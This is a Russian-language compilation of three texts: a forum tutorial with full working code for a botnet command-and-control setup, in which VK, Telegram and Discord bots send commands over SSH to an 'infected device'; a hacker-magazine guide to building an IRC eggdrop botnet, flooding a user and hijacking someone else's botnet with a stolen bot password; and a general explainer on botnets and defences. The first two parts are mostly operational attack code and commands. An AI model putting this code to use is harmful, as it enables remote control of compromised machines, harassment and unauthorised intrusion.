В качестве сервера буду использовать sh скрипт т.к. ориентировка на Linux систему
Скрипт будет запускать openssh сервер на зараженном устройстве и ждать комманд, опять же такая конструкция хороша только в учебных целях, на практике ГОРАЗДО лучше использовать reverse подключения

Bash:

#!/bin/bash 
apt install openssh -y
systemctl start ssh  #это запустит ssh сервер на 22 порту(по умолчанию) , к которому наш взломщик (клиент) будет подключаться и отправлять команды 

##и да в конфиге(~/.ssh/config, /etc/ssh/sshd_config) необходимо расскоментировать эту строку: PasswordAuthentication yes
##это если на сервере стоит openssh
##также можно заранее создать конфиг и копировать  в выше указанные файлы

Клиент :
Устанавливаем python3
apt install python3
Устанавливаем paramiko
pip3 install paramiko

Клиент будет лишь набором функции которые будут исполняться уже из бота.
Мы будем вызывать эти функции каждый раз когда пользователь бота захочет взаимодействовать с ботнетом
Проще говоря пишем как библиотеку а не как самостоятельный код

Немного ремарок:
1.Данный клиент подключаеться к localhost(на чистоту эксперимента это не влияет)
2.Он предусмотрен только на 1 подключение, но по желанию вы можете доработать код и добавить файл с логинами, айпи, портами для подключения к большему кол-ву устройств
3. Скачать python3 и либу paramiko: apt install python3 && pip3 install paramiko
4. Текущий функционал — проверка онлайна и отправка комманд по ssh

Python:

import paramiko     #импорт paramiko для ssh
host = "localhost"   #обозначение переменных для аутентификации
user = "user"        #вы можете создать нового юзера прямо в шелл скрипте описанном выше
mypass = "toor"     #но я решил не заморачиваться и взять логины которые уже были в системе
port = 22           #данный порт дефолтный практически для всех ssh приложений

def interact(comandd): #функция для  отправки сообщений
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())   #добавляем localhost в список известных хостов
    client.connect(hostname=host, username=user, password=mypass, port=port)    #подключаемся :)
    stdin,stdout,stderr = client.exec_command(comandd) #это наша команда
    outputt = stdout.read() + stderr.read()  ##смотрим что нам отвечает хост и помечаем это как outputt
    f = open("output.txt", "w")      ##открываем файл для записи в него нашего outputt
    f.write(outputt.decode("utf-8")) ##заносим outputt в txt файл, который будем считывать в боте попутно декодируя текст из байт в привычный utf-8
    f.close()
    client.close()

def checkconnection():       #функция для проверки подключения
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())   #добавляем localhost в список известных хостов
    client.connect(hostname=host, username=user, password=mypass, port=port)    #подключаемся :)
    client.close()  #и отключаемся :)

данный код именуем client.py и размещаем в одну папку с вашим будующим ботом

Реализация самого чат-бота будет в следующих соц сетях и мессенджерах :
Vk
Telegram
Discord

Для ботов настроены следующие условия:
1.Доступ к админ панели по паролю
2. Проверка хоста на онлайн
3. Отправка комманд от юзера на хост и отправка сообщений от хоста юзеру
Перечень возможностей скудный, но вам ничего не мешает его расширить

И так начнём с вк
Установим либу

Скрыто от гостей

pip3 install vk_api

В вк нельзя настроить именно бота, но можно авторизоваться как сообщество или юзер и уже от этого имени обмениваться сообщениями. Лично я буду логиниться от имени группы (сообщества)
Для этого проделываем следующее :

1. Создаём сообщество (название, тематика и тд не важны)
2. На странице настроек сообщества выбираем пункт «работа с API»
3. Создаём longpool API ключ с необходимыми вам привелегиями
(для этого у вас потребуют подтверждение, либо по номеру телефона, либо по привязанному к аккаунту устройству)
4. Ключ сохраняем

Кодим бота:
(документация vk_api)

Python:

#coding: utf8
import client                              #импорт клиента для бот сети
import random
import vk_api                              #импортируем библиотеки для вк
from vk_api.longpoll import VkLongPoll, VkEventType
def write_msg(user_id, message):  #функция которая будет вызываться при отправке сообщений
    randomid = random.randint(10,99999)  ##вк для отправки требует рандомное число, каждый раз, неясно зачем
    vk.method('messages.send', {'user_id': user_id, 'message': message, 'random_id': randomid})
token="ТУТ-ВАШ-ТОКЕН"   #немного действий для верификации 
vk = vk_api.VkApi(token=token)
longpoll = VkLongPoll(vk)
print("bot is work!")
def main():
    for event in longpoll.listen():    #ждем новых сообщений
        if event.type == VkEventType.MESSAGE_NEW and event.to_me:    #если они появляються начинаем действовать
            write_msg(event.user_id, "please, enter password!")      #просим pass
            for event in longpoll.listen():
                if event.type == VkEventType.MESSAGE_NEW and event.to_me and event.text == ("IMAROOT"):  #проверям pass
                    write_msg(event.user_id, "welcome to botnet admin panel")
                    try:      #проверяем подключение с хостом
                        client.checkconnection()
                        write_msg(event.user_id, "1 host is online, start interacting with him?(Yes/No)")
                        for event in longpoll.listen(): #спрашиваем хочет ли юзер взаимодействовать с ним
                            if event.type == VkEventType.MESSAGE_NEW and event.to_me:

                                if event.text == ("Yes"):
                                    write_msg(event.user_id, "start interacting with host1...")
                                    write_msg(event.user_id, "print => (exit) =< to stop interact")
                                    write_msg(event.user_id, "enter something to host!")
                                    startinteract()   ##запуск функции через которую и будет происходить обмен коммандами
                                else:
                                    write_msg(event.user_id, "exit from admin panel...")

                    except client.paramiko.ssh_exception.NoValidConnectionsError:    #предупреждаем если хосты оффлайн
                        write_msg(event.user_id, "all hosts is offline")
                elif event.type == VkEventType.MESSAGE_NEW and event.to_me and event.text != ("IMAROOT"):    #если пароль неправильный, так и пишем
                    write_msg(event.user_id, "wrong password!")
def startinteract():
    for event in longpoll.listen():
        if event.type == VkEventType.MESSAGE_NEW and event.to_me:  #проверям pass
            if event.text == ("exit"):
                write_msg(event.user_id, "stop interacting with host1...")
            else:
                commandd = event.text
                client.interact(commandd) #передаем хосту месседж клиента
                f = open("output.txt", "r")     #смотрим output
                output = f.read()
                f.close()
                write_msg(event.user_id, output)  #отсылаем output юзеру
                startinteract()

main()

тесты этого бота на видео:
Как по мне в вк это сделать проще но при этом опаснее (в плане приватности)

Следующий на очереди — telegram
В самом телеграмме находим этого бота:

Скрыто от гостей

И пишем ему следующие команды:

/start
/newbot

Далее, у вас потребуют ввести имя и логин этого бота
После этого, вам выдадут адрес этого бота и api токен, для взаимодействия с ним.
Токен сохраняем

Если хотим более тонко настроить бота — пишем боту /help
Для управления ботом надо скачать либу

Скрыто от гостей

pip3 install pytelegrambotapi

Кодим:

Python:

import client       ##импортируем клиента для бот-сети
import telebot     ##импортируем тг бота
bot = telebot.TeleBot("ТУТ-ВАШ-ТОКЕН")  #токен
@bot.message_handler(content_types=['text'])  #декоратор для детекта типа данных
def checkpassword(message):    #спрашиваем pass
    bot.send_message(message.from_user.id, "enter password")
    bot.register_next_step_handler(message, botnetpanel)   #передаем сообщение и декоратор к дальнейшей функции

def botnetpanel(message):   #админ панель
    if message.text == ("IMAROOT"): #если пароль правильный, то пускаем к админ панели
        bot.send_message(message.from_user.id, "welcome to botnet admin panel")
        try:       #проверяем хост на онлайн
            client.checkconnection()
            bot.send_message(message.from_user.id, "1 host is online, try interact with him?(Yes/No)")
            bot.register_next_step_handler(message, checkanswer)    #передаем сообщение и декоратор для другой функции
        except client.paramiko.ssh_exception.NoValidConnectionsError:
            bot.send_message(message.from_user.id, "all hosts is offline!")
    else:   #если пароль не правильный, то так и пишем
        bot.send_message(message.from_user.id, "wrong password!")

def checkanswer(message):     #проверяем хочет ли юзер взаимодействовать с хостом
    if message.text == ("Yes"):
        bot.send_message(message.from_user.id, "Start interact with host 1")
        bot.send_message(message.from_user.id, "Print  => (exit) <= to close connect with host 1")
        bot.send_message(message.from_user.id, "enter something to host!")
        bot.register_next_step_handler(message, hostinteract)      #если согласен, то начинаем взаимодействие
    elif message.text == ("No"):
        bot.send_message(message.from_user.id, "okay")
        bot.send_message(message.from_user.id, "exit from admin panel...")


def hostinteract(message):   #функция для взаимодействия с хостом
    if message.text == ("exit"): #если юзер хочет выйти, даем ему это сделать
        bot.send_message(message.from_user.id, "stopping interact with host 1...")
    else:         #если нет, то:
        commandd = message.text
        client.interact(commandd) #передаем хосту месседж клиента
        f = open("output.txt", "r")     #открываем файл с outputt
        output = f.read()          #считываем outputt
        f.close()                    #закрываем файл с outputt
        bot.send_message(message.from_user.id, output)  #отсылаем outputt юзеру
        bot.register_next_step_handler(message, hostinteract) #снова запускаем эту функцию


bot.polling(none_stop=True, interval=0) ##постаянная проверка на наличие новых сообщений боту

Хоть теллеграмм и имеет статус «надежного» мессенджера, факт регистрации по номеру телефона не даёт покоя поэтому лучше поискать альтернативы

И последним на очереди у нас discord

Важно:

Скрыто от гостей

для python работает только на следующих версиях пайтона: 3.4.3-3.6.6
(discord.py использует библиотеку asyncio, синтаксис которой был переписан в новых версиях пайтона, если у кого есть ссылка на rewrite версию discord api, прошу скинуть её в комментарии)

Лично я решил выбрал python3.5
apt install python3.5

Установим discord_api и paramiko для этой версии пайтона
python3.5 -m pip install discord.py paramiko

Также discord требует asyncio
python3.5 -m pip install asyncio

В дискорде чтобы зарегестрировать бота необходимо

Скрыто от гостей

, благо это делаеться за несколько секунд

Сама регистрация бота здесь сложнее чем в вк и телеграмме

регистрация бота

1. Переходим по следующей ссылке:

Скрыто от гостей

(если вы ещё не вошли в аккаунт у вас потребуют логин и пароль)

Нажимаем на кнопку New application

2.Вводим имя бота

3.Во вкладке Bot нажимаем «Add Bot»

В появившемся окне нажимаем «Click To Reveal Token», и копируем появивишийся текст, это наш токен

4. Переходим на вкладку OAuth3 и нажимаем Add redirect

Пролистываем чуть ниже и нажимаем галочки напротив bot и Administrator

переходим по появившейся ссылке и добавляем бота на любой ваш дискорд сервер, готово!

Теперь приступаем к написанию бота :

Python:

import discord   #импортируем либы для дискорда
import asyncio   #импорт либ для ассинхронных сообщений
import clienteres  #импортируем клиент для ботнета, я его переименовал дабы избежать ошибок 
TOKEN= ("ТУТ_ВАШ_ТОКЕН") #авторизуемся с токеном
client = discord.Client()

#help справка
helpbot = ("""              
aviable  next commands:                                      
 |---------------------------------------------------------|  
 |!help        | get this help                   |  
 |!home     | get info about botnet     |  
 |!login      | login to admin panel      |  
 |!session | start interact with host  |  
 |---------------------------------------------------------|  

""")

f = open("check.txt", "w")  #создаем файл для бд логинов
f.close()

@client.event
async def on_message(message):        #ждем сообщений
    if message.author != client.user:       #проверяем что автор сообщения это не бот
        if message.content == ("!help"):       #выдаем справку (help)
            await message.channel.send(helpbot)

        if message.content == ("!home"):     #функция для проверки онлайна
            f = open("check.txt", "r")  #открываем файл с логинами авторизованных юзеров
            check = f.read()
            f.close()
            if str(message.author) in str(check):  #если логин этого пользователя там есть, то разрешаем пользование
                await message.channel.send("welcome to admin botnet panel!")
                try:
                    clienteres.checkconnection()                           #предупреждаем если хосты онлайн
                    await message.channel.send(""" host is online!! to connect with him enter "!session" """)
                except clienteres.paramiko.ssh_exception.NoValidConnectionsError: ##предупреждаем если все хосты офф
                    await message.channel.send("all hosts is offline!! please try later!")
            else:                                 #если юзер не залогинен, то просим залогиниться
                await message.channel.send("Please login with command !login ")

        if message.content == ("!login"):     #функция для авторизации
            await message.channel.send("Please enter password!")
        if message.content == ("IMAROOT"):    #если пароль правильный
            f = open("check.txt", "w")    #заносим никнейм пользователя в нашу мини бд
            f.write(str(message.author))
            f.close()
            await message.channel.send("You succesfull login! Now you can use all options!")

        if message.content == ("!session"):        #функция для взаимодействия с хостом
            f = open("check.txt", "r")         #чекаем есть ли логин юзера в нашей мини бд
            check = f.read()
            f.close()
            if str(message.author) not in check:   #если нет просим залогиниться
                await message.channel.send("Please login use !login")
            else:                                   #если логин есть, то пропускаем к сессии
                try:
                    clienteres.checkconnection() #проверям коннект
                    await message.channel.send("Start interacting with host 1")
                    await message.channel.send(""" Enter "exit" to close session """)
                    @client.event
                    async def on_message(message):     #функция отправки сообщений для хоста и отсылкой ответов
                        if message.author != client.user:
                            if message.content == ("exit"):  #exit для выхода
                                await message.channel.send("You exit from admin panel...")
                            else:
                                comandd = message.content
                                clienteres.interact(comandd)     #передаем команду хосту
                                f = open("output.txt", "r")     #смотрим output
                                output = f.read()
                                f.close()
                                await message.channel.send(output)  #отсылаем output

                except clienteres.paramiko.ssh_exception.NoValidConnectionsError:  #если коннекта нет , так и пишем
                    await message.channel.send("Host is offline! Please try later!")

        commandss = ["!help", "!home", "!login", "!session", "IMAROOT"]
        if message.content not in commandss:
            await message.channel.send("Enter !help to more information")


client.run(TOKEN)    #запускаем бота!
print("bot is work!")

На мой взгляд использовать бота для подобных целей, очень практично, разумееться если заранее найти подходящий месенджер.
Что-ж, на этом все, спасибо за внимание

организация, возможности, вторжение — «Хакер»

Продолжая цикл статей про eggdrop и TCL, хотелось бы упомянуть про botnet. Что такое botnet? Ни для кого не секрет, что на эггдропе можно прописывать не только юзеров, но и других ботов, которые будут (или не будут) линковаться к главному и передавать ему файл с юзер-записями.

Так было задумано разработчиками ламабота. Если посмотреть с другой стороны, то связку ботов можно запрограммировать, чтобы они передавали не только юзерфайл, но и синхронно выполняли команды различного характера. Но обо все по порядку.

Свой личный BotNet

Что нам понадобится для создания своего ботнета? В примитивном случае можешь запустить несколько эггдропов с одной машины (если нет шеллов). Но в случае, когда админ отправит сервер в ребут весь ботнет уйдет в никуда.
Можно скачать скрипт, который поддерживает коннект eggdrop’а через psyBNC (ezbounce), я как-то писал об этом. Даже когда боты умрут, BNC будет висеть и эмулировать их наличие (если, конечно, баунсер запущен на другой машине).
Ну и третий, пожалуй, самый распространенный вариант. Рассадка ботов на разных серверах, а затем их линковка в одну ветку ботов. К тому же, не обязательно, что все боты будут лично твоими, ты можешь договориться о линковке с каким-нибудь ботоводом (они любят прибавление в свое семейство ламаботов ;)).

Я не буду учить тебя добывать шеллы и устанавливать на них eggdrop. Это было написано до меня во многих источниках. А о процессе создания ботнета расскажу.

Итак, заходим на патилайн к боту1, пусть его ник будет ircnetru, и на второй с ником virginia. Для начала пропишем бота virginia на ircnetru:

.+bot virginia *!*[email protected]*.net.ru

Затем укажем адрес и порт, который прослушивается для других ботов:

.chaddr virginia 127.0.0.1:3333

В моем примере все боты находятся на одном сервере.

Осталось раздать флаги. Убедись, что в ботах присутствует модуль filetransfer, а затем сделай из первого бота, например, передатчика юзерфайла.

.chaddr virginia +gs

Флаг g также необходим для корректного обмена данными.

Посмотрим, все ли верно?

.match virginia
[14:03] #forb# match virginia
*** Matching ‘virginia’:
HANDLE PASS NOTES FLAGS LAST
Virginia yes 0 abfo 13:56 (linked )
#channel afmno 08 Nov
HOSTS: *!*[email protected]*.net.ru
BOT FLAGS: gs
ADDRESS: 127.0.0.1
users: 3333, bots: 3333
— Found 1 match.

Одной проблемой меньше. Теперь добавь ircnetru в бот-лист первого бота. Действия будут аналогичными, лишь флаг +s заменяется на +p (приемник юзерфайла).

Все? Тогда сделай последний штрих, добавив какого-либо бота (например, ircnetru) главным, чтобы virginia коннектилась к нему при запуске. За это отвечает флаг +h (Hub Bot).

.chattr ircnetru +h

Все? Тогда линкуем двух ламаботов.

[13:56] #forb# link virginia
[13:56] Stats.mod: Transferred stats from virginia to virginia
[13:56] Linked to virginia

Просмотрим красивое дерево ботов командой bottree.

[15:56] #forb# bottree
Virginia
`—IRCNetRu
Average hops: 1.0, total bots: 2

Поздравляю! Ты только что создал свой ботнет. Возможности его
не безграничны — пока что боты могут только пересылать файлы.

Возможности

Изменить ситуацию может скрипт botnet.tcl (скачать ты его можешь по адресу
http://k-uralsk.net/forb/1/botnet.tar.gz), который позволяет командовать ботнетом. Представь, сказал ты .botnet msg nick fuck и сотни ботов зафлудили указанного чувака приватами ;).

Подгрузим этот скрипт каждому боту командой .tcl source /path/to/botnet.tcl (либо добавим соответствующую строчку в eggdrop.conf). После этого необходимо зарехешить каждого эггдропа и скрипт будет работать.

Живой пример. Командуем virginia:

.botnet say mudak fuck off
[16:19] #forb# botnet say mudak fuck off

И смотрим в консоль ircnetru:

[16:19] BotNet: Virginia told me to say fuck off to mudak

Как видишь, все работает и mudak был зафлужен приватами ;).

Кстати, msg не единственная команда botnet. Ботнетом можно прибить всю ветку бота, сделать rehash, mass ping, join и прочие интересные действия. RTFS, молодой человек!

Вторжение

Что мы имеем? Живой ботнет с подгруженным на нем botnet.tcl, но у нас нет доступа на него… То есть управлять им мы не можем.

Представим ситуацию. Ты знаешь, что существует прописанный, но мертвый бот C (пусть ник у него будет lamabot). Что интересно, в отличии от юзеров, пароли на ботов не шифруются. Поэтому, представим, что ты добыл пароль на lamabot, например посмотрел его в userfile:

lamabot — b
—PASS 123456
—BOTADDR 127.0.0.1:3334/3334

Попробуем представить себя ботом и слинковаться к ircnetru ;). Это можно сделать прицепившись на порт, который слушается для ботоконнектов. Обмен данными будет примерно следующим.

[[email protected] user]# telnet 0 3333
Trying 0.0.0.0…
Connected to 0.
Escape character is ‘^]’.

IRCNetRu (Eggdrop v1.6.12 (C) 1997 Robey Pointer (C) 2002 Eggheads)

Please enter your nickname.
lamabot
passreq <[email protected]>
123456
*hello!
version 1061200 32 eggdrop v1.6.12 <IRCNetRu>
*hello!
version 1061200 32 eggdrop v1.6.12 <IRCNetRu>
version 1061200 32 eggdrop v1.6.12 <IRCNetRu>
tb IRCNetRu
n virginia IRCNetRu -EDFQ
el
tb lamabot

Все! Мы в ботнете. Проверить это можно вызовом дерева ботов.

.bottree
[14:28] #forb# bottree
IRCNetRu
|—virginia
`—lamabot

Временами бот будет посылать тебе команду pi (ping), отвечай на нее командой po (pong), иначе ботяра скинет тебя по таймауту ;).

Что дальше? Смело командуй «botnet say mudak fuck» и все боты в дереве тебе потчинятся! Ведь ты же часть этого дерева… 

На этом прощаюсь. Хочешь большего? RTFS! В сорцах эггдропа полно комментариев, которые научат тебя ботовому языку, ведь в ботнете полно интересных команд.

Удачи в создании и завоевывании ботнетов!

Что такое ботнет? Все о бот-сети

Автор Исхаков Максим На чтение 7 мин. Просмотров 81 Опубликовано

Что такое ботнет? Все о бот-сетиЧто такое ботнет? Все о бот-сети

Бот-сеть – это группа компьютеров, которые были заражены вредоносными программами и попали под контроль злоумышленниками. Термин ботнет – это совокупность слов робот и сеть, и каждое зараженное устройство называется ботом. Ботнеты могут быть разработаны для выполнения незаконных или вредоносных задач, включая отправку спама, кражу данных, вымогателей, мошенническое нажатие на рекламу или распределенные атаки типа “отказ в обслуживании” (DDoS).

А некоторые вредоносные программы, такие как программы-вымогатели, будут иметь прямое влияние на владельца устройства, ддос ботнет, вредоносное ПО может иметь различные уровни видимости. Некоторые вредоносные программы предназначены, чтобы получить полный контроль над устройством, в то время как другие вредоносные программы автоматически запускаются в качестве фонового процесса, ожидая инструкции от злоумышленника.”

Самораспространяющиеся ботнеты набирают дополнительных ботов через множество различных каналов. Пути заражения включают использование уязвимостей веб-сайта, троянских вредоносных программ и взлом слабой аутентификации для получения удаленного доступа. После того, как доступ был получен, все эти методы заражения приводят к установке вредоносных программ на целевом устройстве, что позволяет удаленно управлять оператором ботнета. Как только устройство заражено, оно может попытаться самостоятельно распространить вредоносное ПО ботнета, привлекая другие аппаратные устройства в окружающей сети. Хотя невозможно определить точное количество ботов в конкретном ботнете, оценки общего количества ботов в сложном ботнете варьировались от нескольких тысяч до более миллиона.

Почему создаются ботнеты?

Многие атаки осуществляются просто для получения прибыли. Аренда услуг ботнета стоит относительно недорого, цена варьируется в зависимости от размера ущерба, который они могут нанести. Барьер для создания ботнета также достаточно низок, чтобы сделать его прибыльным бизнесом для некоторых разработчиков программного обеспечения, особенно в географических районах, где регулирование и правоохранительная деятельность ограничены. Это сочетание привело к распространению онлайн-сервисов, предлагающих атаки по найму.

Как контролируется ботнет?

Программа ботнетПрограмма ботнет

Основной характеристикой ботнета является возможность получать обновленные инструкции от мастера ботов. Возможность общаться с каждым ботом в сети позволяет злоумышленнику чередовать векторы атаки, изменять целевой IP-адрес, прекращать атаку и другие настраиваемые действия. Конструкции ботнетов различаются, но структуры управления можно разделить на две общие категории:

Модель ботнета клиент-сервер

Модель «клиент-сервер» имитирует традиционный рабочий процесс удаленной рабочей станции, когда каждая отдельная машина подключается к централизованному серверу (или небольшому числу централизованных серверов) для доступа к информации. В этой модели каждый бот будет подключаться к ресурсу центра управления (ЧПУ), такому как веб-домен или IRC-канал, чтобы получать инструкции. Используя эти централизованные хранилища для обслуживания новых команд ботнета, злоумышленник просто должен изменить исходный материал, который каждый ботнет использует из центра управления, чтобы обновить инструкции для зараженных машин. Централизованным сервером, контролирующим ботнет, может быть устройство, принадлежащее злоумышленнику и управляемое им, или зараженное устройство.

Наблюдался ряд популярных централизованных топологий ботнетов, в том числе:

  1. Топология сети «Звезда»
  2. Топология сети с несколькими серверами
  3. Иерархическая топология сети

В любой из этих моделей клиент-сервер каждый бот будет подключаться к ресурсу центра управления, например, к веб-домену или IRC-каналу, чтобы получать инструкции. Используя эти централизованные хранилища для обслуживания новых команд ботнета, злоумышленник просто должен изменить исходный материал, который каждый ботнет использует из центра управления, чтобы обновить инструкции для зараженных машин.

Связью с простотой обновления инструкций к ботнету, из ограниченного числа централизованных источников, является уязвимость этих машин. Для того, чтобы удалить ботнет с централизованного сервера, должен быть нарушен только сервер. В результате этой уязвимости создатели вредоносного ПО ботнета эволюционировали и перешли к новой модели, которая менее подвержена разрушению через одну или несколько точек отказа.

Модель однорангового ботнета

Чтобы обойти уязвимости клиент-серверной модели, ботнеты совсем недавно были разработаны с использованием компонентов децентрализованного однорангового обмена файлами. Внедрение структуры управления внутри ботнета устраняет единственную точку сбоя, присутствующую в ботнете с централизованным сервером, что затрудняет усилия по смягчению последствий. P2P-боты могут быть как клиентами, так и командными центрами, работающими в связке с соседними узлами для распространения данных.

Одноранговые ботнеты поддерживают список доверенных компьютеров, с которыми они могут передавать и получать сообщения и обновлять свои вредоносные программы. Ограничивая количество других машин, к которым подключается бот, каждый бот подвергается воздействию только соседних устройств, что затрудняет отслеживание и затрудняет смягчение. Отсутствие централизованного командного сервера делает одноранговую ботнет более уязвимой для управления кем-либо, кроме создателя ботнета. Для защиты от потери контроля децентрализованные ботнеты обычно шифруются, поэтому доступ к ним ограничен.

Как IoT устройства становятся ботнет?

Никто не делает бизнес через беспроводную камеру видеонаблюдения, которую они ставят на заднем дворе, чтобы наблюдать за кормушкой для птиц. Но это не означает, что устройство не способно выполнять необходимые сетевые запросы. Мощь IoT-устройств в сочетании со слабой или плохо настроенной безопасностью создает возможность для вредоносных программ ботнетов нанимать новых ботов в коллектив. Всплеск в устройствах интернет вещей привел к новой возможности для DDoS-атак, так как многие устройства плохо настроены и уязвимы.

Как IoT устройства становятся ботнет?Как IoT устройства становятся ботнет?

Чтобы снизить риск, устройства интернет-вещей с устаревшим микропрограммным обеспечением следует обновить, поскольку учетные данные по умолчанию обычно остаются неизменными с момента первоначальной установки устройства. Многие производители оборудования не заинтересованы в том, чтобы сделать свои устройства более безопасными, поэтому уязвимость, создаваемая вредоносными программами ботнетов для устройств IoT, остается нерешенным риском для безопасности.

Как отключить существующую сеть ботнет:

  • Отключение центров управления ботнета:
    Ботнеты, разработанные с использованием схемы управления, могут быть легко отключены после идентификации центров управления. «Отсечение головы» в точках отказа может вывести всю бот-сеть из строя. В результате системные администраторы и сотрудники правоохранительных органов сосредотачиваются на закрытии центров управления этими ботнетами. Этот процесс сложнее, если командный центр работает в стране, где правоохранительные органы менее способны или готовы вмешаться.
  • Устранение инфекции на отдельных устройствах:
    Для отдельных компьютеров стратегии восстановления контроля над машиной включают запуск антивирусного программного обеспечения, переустановку программного обеспечения из безопасной резервной копии или запуск с чистой машины после переформатирования системы. Для устройств IoT, стратегии могут включать в себя процедуры прошивки, выполняется сброс или иное форматирование устройства. Если эти опции неосуществимы, другие стратегии могут быть доступны от производителя устройства или системного администратора.
    Как защитить устройства от попадания в ботнет:
  • Создание безопасных паролей
    Для многих уязвимых устройств уменьшение риска попадания в ботнет может быть так же просто, как изменение учетных данных администратора на что-то другое, кроме имени пользователя и пароля по умолчанию. Создание сложного пароля делает взлом системы сложным, создание очень сложного пароля делает взлом практически невозможным. Например, устройство, зараженное вредоносной программой Mirai, будет сканировать IP-адреса в поисках отвечающих устройств. Как только устройство ответит на запрос ping, бот попытается войти на это найденное устройство с заданным списком учетных данных по умолчанию. Если пароль по умолчанию был изменен и был реализован сложный пароль, бот сдастся и продолжит искать более уязвимые устройства.
  • Разрешить только доверенное выполнение стороннего кода
    Если мобильный телефон использует программные обеспечения, нужно разрешить работать только приложениям из белого списка, для большего контроля, чтобы не происходил запуск программных приложений считающимися вредоносными. Это в первую очередь зависит от наличия безопасного ядра, которого нет на большинстве устройств интернет-вещей, и более применимо к компьютерам, на которых выполняется программное обеспечение сторонних производителей.
  • Периодическая очистка/восстановление системы
    Восстановление системы до установленного состояния удалит любую грязь, собранную системой, включая программное обеспечение ботнет. Эта стратегия, при использовании в качестве превентивной меры, гарантирует, что даже тихо работающее вредоносное ПО выбрасывается с мусором.
  • Внедрите хороших методов фильтрации входа и выхода
    Другие более продвинутые стратегии включают методы фильтрации на сетевых маршрутизаторах и брандмауэрах. Принцип безопасного сетевого дизайна – это многослойность: есть наименьшее ограничение на общедоступные ресурсы, в то же время постоянно повышая безопасность для вещей, которые считается конфиденциальными. Кроме того, все, что пересекает эти границы, должно быть тщательно изучено: сетевой трафик, USB-накопители и т. д. Практика качественной фильтрации повышает вероятность того, что вредоносные программы DDoS и их методы распространения и связи будут пойманы перед входом или выходом из сети.

На видео: Что такое ботнет и как его создают.

Оставьте комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *